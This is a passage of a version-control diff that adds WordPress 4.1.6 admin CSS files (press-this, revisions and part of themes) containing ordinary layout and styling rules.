+
+	ul.add-menu-item-tabs li.tabs {
+		padding: 13px 15px 14px;
+	}
+
+	.nav-menus-php .item-controls .item-type {
+		margin-top: 2px;
+	}
+
+	.nav-menus-php .customlinkdiv .howto input {
+		width: 65%;
+	}
+
+	.nav-menus-php .quick-search {
+		width: 85%;
+	}
+
+	#menu-management-liquid {
+		margin-top: 25px;
+	}
+
+	.nav-menus-php .menu-name-label.howto span {
+		margin-top: 13px
+	}
+
+	.menu-name-label #menu-name {
+		margin-top: 4px;
+	}
+
+	.nav-menus-php .major-publishing-actions .publishing-action {
+		margin-top: 6px;
+	}
+
+	.nav-menus-php .delete-action {
+		font-size: 14px;
+		line-height: 50px;
+		margin-top: 12px;
+	}
+
+	.menu-item-bar .menu-item-handle,
+	.menu-item-settings,
+	.description-wide {
+		width: auto;
+	}
+
+	.menu-item-settings {
+		padding: 10px;
+	}
+
+	.menu-item-settings .description-thin,
+	.menu-item-settings .description-wide {
+		width: 100%;
+		height: auto;
+	}
+
+	.menu-item-settings input {
+		width: 100%;
+	}
+
+	.menu-settings dl {
+		padding-left: 0;
+	}
+
+	.menu-settings dd {
+		float: none;
+		width: 100%;
+		margin-bottom: 15px;
+	}
+
+	.menu-settings dt {
+		float: none;
+		width: auto;
+		margin-left: 0;
+		margin-bottom: 15px;
+	}
+}
+
+@media only screen and (max-width: 768px) {
+	/* menu locations */
+	#menu-locations-wrap .widefat {
+		width: 100%;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/press-this.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/press-this.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/press-this.css	(revision 33402)
@@ -0,0 +1,458 @@
+.press-this #message {
+	border-left: 4px solid #7ad03a;
+	padding: 1px 12px;
+	background-color: #fff;
+	-webkit-box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+	box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+}
+
+.press-this #side-sortables .category-tabs li {
+	display: inline;
+	line-height: 1.35em;
+}
+
+body.press-this ul.category-tabs li.tabs a {
+	color: #333;
+}
+
+.press-this #content-resize-handle {
+	bottom: 2px;
+}
+
+body.press-this {
+	color: #333;
+	margin: 0;
+	padding: 0;
+	min-width: 708px;
+	min-height: 400px;
+}
+
+.press-this #titlediv #title {
+	font-size: 1.4em;
+}
+
+.press-this #site-heading:before {
+    top: 3px;
+    position: relative;
+    display: inline-block;
+    font: normal 18px/1 'dashicons';
+    speak: none;
+    color: #727272;
+    content: '\f120';
+    -webkit-font-smoothing: antialiased;
+    -moz-osx-font-smoothing: grayscale;
+}
+
+.press-this #wphead {
+	height: 32px;
+	margin-left: 0;
+	margin-right: 0;
+	margin-bottom: 5px;
+}
+
+.press-this #header-logo {
+	float: left;
+	margin: 7px 7px 0;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.press-this #wphead h1 {
+	font-weight: normal;
+	font-size: 16px;
+	line-height: 32px;
+	margin: 0;
+	float: left;
+}
+
+.press-this #wphead h1 a {
+	text-decoration: none;
+}
+
+.press-this #wphead h1 a:hover {
+	text-decoration: underline;
+}
+
+.press-this #message {
+	margin: 10px 0;
+}
+
+.press-this .posting {
+	margin-right: 250px;
+}
+
+.press-this-sidebar {
+	float: right;
+	width: 240px;
+	padding-top: 10px;
+}
+
+.press-this #title {
+	margin-left: 0;
+	margin-right: 0;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.press-this .tagchecklist {
+	margin-top: 8px;
+}
+
+.press-this #titlediv {
+	margin: 0;
+}
+
+.press-this #wp-content-wrap #wp-content-editor-tools {
+	padding: 0;
+	top: 3px;
+	overflow: hidden;
+}
+
+.press-this .wp-media-buttons {
+	cursor: default;
+	padding: 8px 8px 6px;
+}
+
+.press-this #wp-content-wrap #wp-content-media-buttons a {
+	padding: 0;
+	line-height: normal;
+	height: auto;
+	font-size: 16px;
+}
+
+.press-this #wp-content-wrap .mce-toolbar .mce-btn-group .mce-btn {
+	margin: 0 1px;
+}
+
+.press-this #wp-content-wrap .mce-toolbar .mce-btn button {
+	padding: 2px 3px;
+}
+
+.press-this #wp-content-wrap div.mce-toolbar-grp,
+.press-this #wp-content-wrap .quicktags-toolbar {
+	padding-right: 3px;
+}
+
+.press-this .howto {
+	margin-top: 2px;
+	margin-bottom: 3px;
+	font-size: 12px;
+	font-style: italic;
+	display: block;
+}
+
+.press-this #wp-content-editor-container {
+	clear: none;
+}
+
+.press-this #poststuff .inside {
+	margin-top: 18px;
+}
+
+.press-this .category-tabs {
+	margin-bottom: 3px;
+}
+
+/* Editor/Main Column */
+.press-this #poststuff {
+	margin: 0 8px;
+	padding: 0;
+}
+
+.press-this #photo-add-url-div input[type="text"] {
+	width: 220px;
+}
+
+#poststuff #editor-toolbar {
+	height: 30px;
+}
+
+.posting {
+	margin-right: 212px;
+	position: relative;
+}
+
+.press-this .inner-sidebar {
+	width: 200px;
+}
+
+.press-this .inner-sidebar .sleeve {
+	padding-top: 5px;
+}
+
+.press-this #submitdiv p {
+	margin: 0;
+	padding: 6px;
+}
+
+.press-this #submitdiv #publishing-actions {
+	border-bottom: 1px solid #dfdfdf;
+}
+
+.press-this #publish {
+	float: right;
+}
+
+.press-this #poststuff h2,
+.press-this #poststuff h3 {
+	font-size: 14px;
+	line-height: 1;
+}
+
+.press-this #tagsdiv-post_tag h3,
+.press-this #categorydiv h3 {
+	cursor: pointer;
+}
+
+.press-this #submitdiv h3 {
+	cursor: default;
+}
+
+h3.tb {
+	font-weight: 600;
+	font-size: 12px;
+	margin-left: 5px;
+}
+
+.press-this .postbox,
+.press-this .stuffbox {
+	margin-bottom: 10px;
+	min-width: 0;
+}
+
+.press-this #submitdiv:hover .handlediv {
+	background: none;
+}
+
+.tbtitle {
+	font-size: 1.7em;
+	outline: none;
+	padding: 3px 4px;
+	border: 1px solid #dfdfdf;
+}
+
+.press-this .actions {
+	float: right;
+	margin: -19px 0 0;
+}
+
+.press-this #extra-fields .actions {
+	margin: -32px -7px 0 0;
+}
+
+.press-this .actions li {
+	float: left;
+	list-style: none;
+	margin-right: 10px;
+}
+
+#extra-fields .button {
+	margin-right: 5px;
+}
+
+/* Photo Styles */
+#photo_saving {
+	margin: 0 8px 8px;
+	vertical-align: middle;
+}
+
+#img_container_container {
+	overflow: auto;
+}
+
+#extra-fields {
+	margin-top: 10px;
+	position: relative;
+}
+
+#extra-fields h2 {
+	margin: 12px;
+}
+
+#waiting {
+	margin-top: 10px;
+	overflow: hidden;
+}
+
+#waiting span {
+	float: right;
+	margin: 0 0 0 5px;
+}
+
+#waiting .spinner {
+	display: block;
+}
+
+#extra-fields .postbox {
+	margin-bottom: 5px;
+}
+
+#extra-fields .titlewrap {
+	padding: 0;
+	overflow: auto;
+	height: 120px;
+}
+
+#img_container a {
+	display: block;
+	float: left;
+	overflow: hidden;
+}
+
+#img_container img,
+#img_container a {
+	width: 68px;
+	height: 68px;
+}
+
+#img_container img {
+	border: none;
+	background-color: #f4f4f4;
+	cursor: pointer;
+}
+
+#img_container a,
+#img_container a:link,
+#img_container a:visited {
+	border: 1px solid #ccc;
+	display: block;
+	position: relative;
+}
+
+#img_container a:hover,
+#img_container a:active {
+	border-color: #000;
+	z-index: 1000;
+	border-width: 1px;
+}
+
+/* Video */
+#embed-code {
+	width: 100%;
+	height: 98px;
+}
+
+/* Categories */
+.press-this .categorydiv div.tabs-panel {
+	height: 100px;
+}
+
+/* Tags */
+.press-this .tagsdiv .newtag {
+	width: 120px;
+}
+
+.press-this #content {
+	margin: 5px 0;
+	padding: 0 5px;
+	border: 0 none;
+	height: 340px;
+	font-family: Consolas, Monaco, monospace;
+	font-size: 13px;
+	line-height: 19px;
+	background: transparent;
+}
+
+/* Submit */
+.press-this #publishing-actions .spinner {
+	display: inline;
+	vertical-align: middle;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/* Reset responsive styles in Press This */
+@media screen and ( max-width: 782px ) {
+	.press-this ul.category-tabs li.tabs {
+		padding: 3px 5px 5px; /* Reset tabs in Press This to standard size */
+	}
+
+	.press-this a.wp-switch-editor {
+		font: 13px/19px "Open Sans", sans-serif;
+		margin: 5px 0 0 5px;
+		padding: 3px 8px 4px;
+	}
+
+	.press-this #wp-content-media-buttons a {
+		padding: 0;
+		line-height: normal;
+		height: auto;
+	}
+
+	.press-this #wp-content-editor-tools {
+		padding: 0;
+		top: 3px;
+	}
+
+	.press-this .category-tabs {
+		margin-top: 0;
+	}
+
+	.press-this .tagsdiv .newtag {
+		width: 120px;
+		padding: 3px 5px;
+		margin-bottom: 0;
+	}
+
+	.press-this .tagchecklist {
+		padding: 0;
+		margin-bottom: 0;
+	}
+
+	.press-this .wp_themeSkin a.mceButton {
+		width: 20px;
+		height: 20px;
+	}
+
+	.press-this .wp_themeSkin .mceButton .mceIcon {
+		margin: 0;
+	}
+
+	.press-this #poststuff h3,
+	.press-this .metabox-holder h3 {
+		padding: 7px 12px;
+	}
+
+	.press-this input[type=checkbox],
+	.press-this input[type=radio] {
+		height: 16px;
+		width: 16px;
+	}
+
+	.press-this input[type=checkbox]:checked:before {
+		width: 16px;
+		font: normal 21px/1 'dashicons';
+		margin: -3px 0 0 -4px;
+	}
+
+	.press-this input[type=radio]:checked:before {
+		font: normal 21px/1 'dashicons';
+		width: 6px;
+		height: 6px;
+		margin: 4px;
+	}
+
+	.press-this ul.categorychecklist ul,
+	.press-this ul.categorychecklist li {
+		margin-top: 0;
+		margin-bottom: 0;
+	}
+
+	.press-this div.quicktags-toolbar input {
+		padding: 2px 4px;
+	}
+
+	.press-this textarea,
+	.press-this input {
+		font-size: 14px;
+	}
+
+	.press-this .tagchecklist span {
+		font-size: 13px;
+		line-height: 1.8em;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/revisions.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/revisions.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/revisions.css	(revision 33402)
@@ -0,0 +1,576 @@
+/*------------------------------------------------------------------------------
+  11.2 - Post Revisions
+------------------------------------------------------------------------------*/
+.revisions-control-frame,
+.revisions-diff-frame {
+	position: relative;
+}
+
+.revisions-controls {
+	padding-top: 40px;
+	height: 100px;
+	z-index: 1;
+}
+
+.revisions-controls input[type="checkbox"] {
+	position: relative;
+	top: -1px;
+	vertical-align: text-bottom;
+}
+
+.revisions.pinned .revisions-controls {
+	position: fixed;
+	top: 0;
+	height: 82px;
+	background: #fff;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.revisions-tickmarks {
+	position: relative;
+	margin: 0 auto;
+	height: 0.7em;
+	top: 7px;
+	max-width: 70%;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	background-color: #fff;
+}
+
+.revisions-tickmarks > div {
+	position: absolute;
+	height: 100%;
+	border-left: 1px solid #aaa;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.revisions-tickmarks > div:first-child {
+	border-width: 0;
+}
+
+.comparing-two-revisions .revisions-controls {
+	height: 140px;
+}
+
+.comparing-two-revisions.pinned .revisions-controls {
+	height: 124px;
+}
+
+.revisions .diff-error {
+	position: absolute;
+	text-align: center;
+	margin: 0 auto;
+	width: 100%;
+	display: none;
+}
+
+.revisions.diff-error .diff-error {
+	display: block;
+}
+
+.revisions .loading-indicator {
+	position: absolute;
+	vertical-align: middle;
+	opacity: 0;
+	width: 100%;
+	width: -webkit-calc( 100% - 30px );
+	width: calc( 100% - 30px );
+	top: 50%;
+	top: -webkit-calc( 50% - 10px );
+	top: calc( 50% - 10px );
+	-webkit-transition: opacity 0.5s;
+	transition: opacity 0.5s;
+	filter: alpha(opacity=0); /* ie8 and earlier */
+}
+
+body.folded .revisions .loading-indicator {
+	margin-left: -32px;
+}
+
+.revisions .loading-indicator span.spinner {
+	display: block;
+	margin: 0 auto;
+	float: none;
+}
+
+.revisions.loading .loading-indicator {
+	opacity: 1;
+	filter: alpha(opacity=100); /* ie8 and earlier */
+}
+
+.revisions .diff {
+	-webkit-transition: opacity 0.5s;
+	transition: opacity 0.5s;
+}
+
+.revisions.loading .diff {
+	opacity: 0.5;
+	filter: alpha(opacity=50); /* ie8 and earlier */
+}
+
+.revisions.diff-error .diff {
+	visibility: hidden;
+}
+
+.revisions-meta {
+	margin-top: 20px;
+	background-color: #fff;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.revisions.pinned .revisions-meta {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.revision-toggle-compare-mode {
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+.comparing-two-revisions .revisions-previous,
+.comparing-two-revisions .revisions-next,
+.revisions-meta .diff-meta-to strong {
+	display: none;
+}
+
+.revisions-controls .author-card .date {
+	color: #777;
+}
+
+.revisions-controls .author-card.autosave {
+	color: #d54e21;
+}
+
+.revisions-controls .author-card .author-name {
+	font-weight: bold;
+}
+
+.comparing-two-revisions .diff-meta-to strong {
+	display: block;
+}
+
+.revisions.pinned .revisions-buttons {
+	padding: 0 11px;
+}
+
+.revisions-previous,
+.revisions-next {
+	position: relative;
+	z-index: 1;
+}
+
+.revisions-previous {
+	float: left;
+}
+
+.revisions-next {
+	float: right;
+}
+
+.revisions-controls .wp-slider {
+	max-width: 70%;
+	margin: 0 auto;
+	top: -3px;
+}
+
+.revisions-diff {
+	padding: 15px;
+	background-color: #fff;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.revisions-diff h3:first-child {
+	margin-top: 0;
+}
+
+/* Revision meta box */
+.post-revisions li img,
+#revisions-meta-restored img {
+	vertical-align: middle;
+}
+
+table.diff tbody tr td:nth-child(2) {
+	width: 4%;
+}
+
+table.diff {
+	table-layout: fixed;
+	width: 100%;
+	white-space: pre-wrap;
+}
+
+table.diff col.content {
+	width: auto;
+}
+
+table.diff col.content.diffsplit {
+	width: 48%;
+}
+
+table.diff col.diffsplit.middle {
+	width: auto;
+}
+
+table.diff col.ltype {
+	width: 30px;
+}
+
+table.diff tr {
+	background-color: transparent;
+}
+
+table.diff td,
+table.diff th {
+	font-family: Consolas, Monaco, monospace;
+	font-size: 14px;
+	line-height: 1.618;
+	padding: .5em;
+	vertical-align: top;
+	word-wrap: break-word;
+}
+
+table.diff td h1,
+table.diff td h2,
+table.diff td h3,
+table.diff td h4,
+table.diff td h5,
+table.diff td h6 {
+	margin: 0;
+}
+
+table.diff .diff-deletedline del,
+table.diff .diff-addedline ins {
+	text-decoration: none;
+}
+
+table.diff .diff-deletedline {
+	background-color: #ffe9e9;
+}
+
+table.diff .diff-deletedline del {
+	background-color: #faa;
+}
+
+table.diff .diff-addedline {
+	background-color: #e9ffe9;
+}
+
+table.diff .diff-addedline ins {
+	background-color: #afa;
+}
+
+.diff-meta {
+	padding: 5px;
+	clear: both;
+	min-height: 32px;
+}
+
+.diff-title strong {
+	line-height: 32px;
+	min-width: 60px;
+	text-align: right;
+	float: left;
+	margin-right: 5px;
+}
+
+.revisions-controls .author-card .author-info {
+	font-size: 12px;
+	line-height: 16px;
+}
+
+.revisions-controls .author-card .avatar,
+.revisions-controls .author-card .author-info {
+	float: left;
+	margin-left: 6px;
+	margin-right: 6px;
+}
+
+.revisions-controls .author-card .byline {
+	display: block;
+	font-size: 12px;
+}
+
+.revisions-controls .author-card .avatar {
+	vertical-align: middle;
+}
+
+.diff-meta input.restore-revision {
+	float: right;
+	margin-left: 6px;
+	margin-right: 6px;
+	margin-top: 4px;
+}
+
+.diff-meta-from {
+	display: none;
+}
+
+.comparing-two-revisions .diff-meta-from {
+	display: block;
+}
+
+.revisions-tooltip {
+	position: absolute;
+	bottom: 105px;
+	margin-right: 0;
+	margin-left: -69px;
+	z-index: 0;
+	max-width: 350px;
+	min-width: 130px;
+	padding: 8px 4px;
+	display: none;
+	opacity: 0;
+}
+
+.revisions-tooltip.flipped {
+	margin-left: 0;
+	margin-right: -70px;
+}
+
+.revisions.pinned .revisions-tooltip {
+	display: none !important;
+}
+
+.comparing-two-revisions .revisions-tooltip {
+	bottom: 145px;
+}
+
+.revisions-tooltip-arrow {
+	width: 70px;
+	height: 15px;
+	overflow: hidden;
+	position: absolute;
+	left: 0;
+	margin-left: 35px;
+	bottom: -15px;
+}
+
+.revisions-tooltip.flipped .revisions-tooltip-arrow {
+	margin-left: 0;
+	margin-right: 35px;
+	left: auto;
+	right: 0;
+}
+
+.revisions-tooltip-arrow > span {
+	content: "";
+	position: absolute;
+	left: 20px;
+	top: -20px;
+	width: 25px;
+	height: 25px;
+	-webkit-transform: rotate(45deg);
+	-ms-transform: rotate(45deg);
+	transform: rotate(45deg);
+}
+
+.revisions-tooltip.flipped .revisions-tooltip-arrow > span {
+	left: auto;
+	right: 20px;
+}
+
+.ie8 .revisions-tooltip-arrow > span {
+	left: 15px;
+	top: -25px;
+	-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(SizingMethod='auto expand', M11=0.7071067811865476, M12=-0.7071067811865475, M21=0.7071067811865475, M22=0.7071067811865476)";
+}
+
+.ie8 .revisions-tooltip.flipped .revisions-tooltip-arrow > span {
+	right: 25px;
+}
+
+.revisions-tooltip,
+.revisions-tooltip-arrow > span {
+	border: 1px solid #d7d7d7;
+	background-color: #fff;
+}
+
+.revisions-tooltip {
+	display: none;
+}
+
+.arrow {
+	width: 70px;
+	height: 16px;
+	overflow: hidden;
+	position: absolute;
+	left: 0;
+	margin-left: -35px;
+	bottom: 90px;
+	z-index: 10000;
+}
+
+.arrow:after {
+	z-index: 9999;
+	background-color: #fff;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.arrow.top {
+	top: -16px;
+	bottom: auto;
+}
+
+.arrow.left {
+	left: 20%;
+}
+
+.arrow:after {
+	content: "";
+	position: absolute;
+	left: 20px;
+	top: -20px;
+	width: 25px;
+	height: 25px;
+	-webkit-transform: rotate(45deg);
+	-ms-transform: rotate(45deg);
+	transform: rotate(45deg);
+}
+
+.revisions-tooltip,
+.revisions-tooltip-arrow:after {
+	border-width: 1px;
+	border-style: solid;
+}
+
+div.revisions-controls > .wp-slider > .ui-slider-handle {
+	margin-left: -10px;
+}
+
+.rtl div.revisions-controls > .wp-slider > .ui-slider-handle {
+	margin-right: -10px;
+}
+
+/* jQuery UI Slider */
+.wp-slider.ui-slider {
+	position: relative;
+	border: 1px solid #d7d7d7;
+	text-align: left;
+	cursor: pointer;
+}
+
+.wp-slider .ui-slider-handle {
+	-webkit-border-radius: 50%;
+	border-radius: 50%;
+	height: 18px;
+	margin-top: -3px;
+	outline: none;
+	position: absolute;
+	width: 18px;
+	z-index: 2;
+	-ms-touch-action: none;
+	touch-action: none;
+}
+
+.wp-slider .ui-slider-handle,
+.wp-slider .ui-slider-handle.ui-state-hover,
+.wp-slider .ui-slider-handle.focus {
+	background: #2ea2cc;
+	border: 1px solid #0074a2;
+	-webkit-box-shadow: inset 0 1px 0 #78c8e6, 0 1px 0 rgba(0,0,0,.15);
+	box-shadow: inset 0 1px 0 #78c8e6, 0 1px 0 rgba(0,0,0,.15);
+}
+
+.wp-slider .ui-slider-handle:before {
+	background: none;
+	position: absolute;
+	top: 0;
+	left: 0;
+	color: #fff;
+	content: "\f229";
+	font: normal 18px/1 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-slider .ui-slider-handle.from-handle:before,
+.wp-slider .ui-slider-handle.to-handle:before {
+	font-size: 20px !important;
+	margin: -1px 0 0 -1px;
+}
+
+.wp-slider .ui-slider-handle.from-handle:before {
+	content: '\f139';
+}
+
+.wp-slider .ui-slider-handle.to-handle:before {
+	content: '\f141';
+}
+
+.rtl .wp-slider .ui-slider-handle.from-handle:before {
+	content: '\f141';
+}
+
+.rtl .wp-slider .ui-slider-handle.to-handle:before {
+	content: '\f139';
+	right: -1px;
+}
+
+.wp-slider .ui-slider-range {
+	position: absolute;
+	font-size: .7em;
+	display: block;
+	border: 0;
+	background-color: transparent;
+	background-image: none;
+}
+
+.wp-slider.ui-slider-horizontal {
+	height: .7em;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-handle {
+	top: -.25em;
+	margin-left: -.6em;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-range {
+	top: 0;
+	height: 100%;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-range-min {
+	left: 0;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-range-max {
+	right: 0;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.revision-tick.completed-false {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	#diff-next-revision,
+	#diff-previous-revision {
+		margin-top: -1em;
+	}
+
+	table.diff {
+		-ms-word-break: break-all;
+		word-break: break-all;
+		word-wrap: break-word;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/themes.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/themes.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/themes.css	(revision 33402)
@@ -0,0 +1,1756 @@
+/*------------------------------------------------------------------------------
+  16.0 - Themes
+------------------------------------------------------------------------------*/
+
+
+/*------------------------------------------------------------------------------
+  16.1 - Manage Themes
+------------------------------------------------------------------------------*/
+
+.theme-browser .themes {
+	clear: both;
+	padding: 0 0 100px;
+}
+
+.themes-php .wrap h2 {
+	float: left;
+	margin-bottom: 15px;
+}
+
+.network-admin.themes-php .wrap h2 {
+	margin-bottom: 0;
+}
+
+.themes-php .wrap h2 .button {
+	margin-left: 20px;
+}
+
+/* Search form */
+.themes-php .wp-filter-search {
+	position: relative;
+	top: -2px;
+	left: 20px;
+	margin: 0;
+	width: 280px;
+	font-size: 16px;
+	font-weight: 300;
+	line-height: 1.5;
+}
+
+/* Position admin messages */
+.themes-php div.updated,
+.themes-php div.error {
+	margin: 0 0 20px 0;
+	clear: both;
+}
+
+.themes-php div.updated a {
+	text-decoration: underline;
+}
+
+/**
+ * Main theme element
+ * (has flexible margins)
+ */
+.theme-browser .theme {
+	cursor: pointer;
+	float: left;
+	margin: 0 4% 4% 0;
+	position: relative;
+	width: 30.6%;
+	border: 1px solid #dedede;
+	-webkit-box-shadow: 0 1px 1px -1px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 1px -1px rgba(0,0,0,0.1);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ie8 .theme-browser .theme {
+	width: 30%;
+	margin: 0 3% 4% 0;
+}
+
+.theme-browser .theme:nth-child(3n) {
+	margin-right: 0;
+}
+
+.theme-browser .theme:hover,
+.theme-browser .theme:focus {
+	cursor: pointer;
+}
+
+.theme-browser .theme .theme-name {
+	font-size: 15px;
+	font-weight: 600;
+	height: 18px;
+	margin: 0;
+	padding: 15px;
+	-webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,0.1);
+	box-shadow: inset 0 1px 0 rgba(0,0,0,0.1);
+	overflow: hidden;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+	background: #fff;
+	background: rgba(255,255,255,0.65);
+}
+
+/* Activate and Customize buttons, shown on hover and focus */
+.theme-browser .theme .theme-actions {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
+	opacity: 0;
+	-webkit-transition: opacity 0.1s ease-in-out;
+	transition: opacity 0.1s ease-in-out;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+	height: 38px;
+	padding: 9px 10px 0 10px;
+	background: rgba(244, 244, 244, 0.7);
+	border-left: 1px solid rgba(0,0,0,0.05);
+}
+
+.theme-browser .theme:hover .theme-actions,
+.theme-browser .theme.focus .theme-actions,
+.theme-browser .theme:focus .theme-actions {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
+	opacity: 1;
+}
+
+.theme-browser .theme .theme-actions .button-primary {
+	margin-right: 3px;
+}
+
+.theme-browser .theme .theme-actions .button-secondary {
+	float: none;
+	margin-left: 3px;
+}
+
+/**
+ * Theme Screenshot
+ *
+ * Has a fixed aspect ratio of 1.5 to 1 regardless of screenshot size
+ * It is also responsive.
+ */
+.theme-browser .theme .theme-screenshot {
+	display: block;
+	overflow: hidden;
+	position: relative;
+	-webkit-transition: opacity 0.2s ease-in-out;
+	transition: opacity 0.2s ease-in-out;
+}
+
+.theme-browser .theme .theme-screenshot:after {
+	content: '';
+	display: block;
+	padding-top: 66.66666%; /* using a 3/2 aspect ratio */
+}
+
+.theme-browser .theme .theme-screenshot img {
+	height: auto;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+	-webkit-transform: translateZ( 0 ); /* Prevents rendering bugs in Chrome */
+	-webkit-transition: opacity 0.2s ease-in-out; /* Prevents rendering bugs in Chrome */
+	transition: opacity 0.2s ease-in-out;
+}
+
+.theme-browser .theme:hover .theme-screenshot,
+.theme-browser .theme:focus .theme-screenshot {
+	background: #fff;
+}
+
+.theme-browser.rendered .theme:hover .theme-screenshot img,
+.theme-browser.rendered .theme:focus .theme-screenshot img {
+	opacity: 0.4;
+}
+
+.theme-browser .theme .more-details {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
+	opacity: 0;
+	position: absolute;
+	top: 35%;
+	right: 25%;
+	left: 25%;
+	background: #222;
+	background: rgba(0,0,0,0.7);
+	color: #fff;
+	font-size: 15px;
+	text-shadow: 0 1px 0 rgba(0,0,0,0.6);
+	-webkit-font-smoothing: antialiased;
+	font-weight: 600;
+	padding: 15px 12px;
+	text-align: center;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-transition: opacity 0.1s ease-in-out;
+	transition: opacity 0.1s ease-in-out;
+}
+
+.theme-browser .theme:focus {
+	border-color: #5b9dd9;
+	-webkit-box-shadow: 0 0 2px rgba( 30, 140, 190, 0.8 );
+	box-shadow: 0 0 2px rgba( 30, 140, 190, 0.8 );
+}
+
+.theme-browser .theme:focus .more-details {
+	opacity: 1;
+}
+
+/* Current theme needs to have its action always on view */
+.theme-browser .theme.active:focus .theme-actions {
+	display: block;
+}
+
+.theme-browser.rendered .theme:hover .more-details,
+.theme-browser.rendered .theme:focus .more-details {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
+	opacity: 1;
+}
+
+/**
+ * Displays a theme update notice
+ * when an update is available.
+ */
+.theme-browser .theme .theme-update,
+.theme-browser .theme .theme-installed {
+	background: #d54e21;
+	background: rgba(213, 78, 33, 0.95);
+	color: #fff;
+	display: block;
+	font-size: 13px;
+	font-weight: 400;
+	height: 48px;
+	line-height: 48px;
+	padding: 0 10px;
+	position: absolute;
+	top: 0;
+	right: 0;
+	left: 0;
+	border-bottom: 1px solid rgba(0,0,0,0.25);
+	overflow: hidden;
+}
+
+.theme-browser .theme .theme-update:before,
+.theme-browser .theme .theme-installed:before {
+	content: '\f463';
+	display: inline-block;
+	font: normal 20px/1 'dashicons';
+	margin: 0 6px 0 0;
+	opacity: 0.8;
+	position: relative;
+	top: 5px;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+}
+
+
+/**
+ * The currently active theme
+ */
+.theme-browser .theme.active .theme-name {
+	background: #2f2f2f;
+	color: #fff;
+	padding-right: 110px;
+	font-weight: 300;
+	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.5);
+	box-shadow: inset 0 1px 1px rgba(0,0,0,0.5);
+}
+
+.theme-browser .theme.active .theme-name span {
+	font-weight: 600;
+}
+
+.theme-browser .theme.active .theme-actions {
+	background: rgba(49,49,49,0.7);
+	border-left: none;
+	opacity: 1;
+}
+
+.theme-browser .theme.active .theme-actions .button-primary {
+	margin-right: 0;
+}
+
+.theme-browser .theme .theme-author {
+	background: #222;
+	color: #eee;
+	display: none;
+	font-size: 14px;
+	margin: 0 10px;
+	padding: 5px 10px;
+	position: absolute;
+	bottom: 56px;
+}
+
+.theme-browser .theme.display-author .theme-author {
+	display: block;
+}
+
+.theme-browser .theme.display-author .theme-author a {
+	color: inherit;
+	text-decoration: none;
+}
+
+/**
+ * Add new theme
+ */
+.theme-browser .theme.add-new-theme {
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.theme-browser .theme.add-new-theme a {
+	color: #999;
+	text-decoration: none;
+	display: block;
+	position: relative;
+	z-index: 1;
+}
+
+.theme-browser .theme.add-new-theme:after {
+	display: block;
+	content: '';
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
+	opacity: 1;
+	background: transparent;
+	background: rgba(0, 0, 0, 0);
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	padding: 10% 0 0 0;
+	text-shadow: none;
+	border: 5px dashed #d5d2ca;
+	border: 5px dashed rgba(0, 0, 0, 0.1);
+	-webkit-transition: opacity 0.2s ease-in-out;
+	transition: opacity 0.2s ease-in-out;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
